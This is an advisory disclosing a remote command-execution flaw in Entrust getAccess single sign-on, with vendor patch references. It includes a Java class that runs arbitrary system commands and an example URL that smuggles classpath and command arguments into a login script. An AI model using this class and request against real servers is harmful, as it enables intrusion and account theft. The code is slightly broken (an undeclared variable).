COMMAND
Entrust
SYSTEMS AFFECTED
Entrust
PROBLEM
"rudi carell" found following. getAccess[tm] is used as a
single-sign-on system often used for large internet-portals.
Entrust GetAccess[tm] offers the most comprehensive solution for
consistently deploying and enforcing basic and enhanced security
across online applications, from Web browsers, to enterprise
applications and legacy database systems.
Due to missing input-validation it is possible to run(start)
java-programs on the "getaccess"-machine. Combined with public
accessibly uploads or any other possibility to create class-files
on the server this vulnerability c ould be used to run arbitrary
system commands on the target machine (or change getAccess
parameters and steal any user ac count you want BTW).
It should also be possible (but not proven yet) to exploit
default-,install- or demo classes within Java or getAccess which
would make the file-upload(creation) part unneeded!
(uninstall.class is very likely an effective DOS).
Example (find exploitable getAccess-class [one which accepts
params!] or upload a "command" programm):
import java.io.*;
public class cmd {
public static void main(String args[]) {
s = null;
try {
Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
System.out.println("Content-type: text/html\n\n");
while ((s = stdInput.readLine()) != null) { System.out.println(s); }
while ((s = stdError.readLine()) != null) { System.out.println(s); }
System.exit(0);
}
catch (IOException e) { e.printStackTrace(); System.exit(-1); }
} }
Later then .. a http-request to :
http://hostname/sek-bin/login.gas.bat/x%20-classpath%20/whereever%20cmd%20/bin/ls%20-alsi
.. will run "/whereever/cmd.class" and execute "/bin/ls -alsi".
SOLUTION
This vulnerability has been confirmed by Entrust and a patch is
forthcoming. Detailed information on this issue has been posted
to the Entrust customer extranet on both the Entrust GetAccess
Portal and the Entrust Customer Support Extranet:
https://login.encommerce.com/private/docs/techSupport/Patches-BugFix/e01-001.html
https://www.entrust.com/support/resources/recentsecuritynotes.htm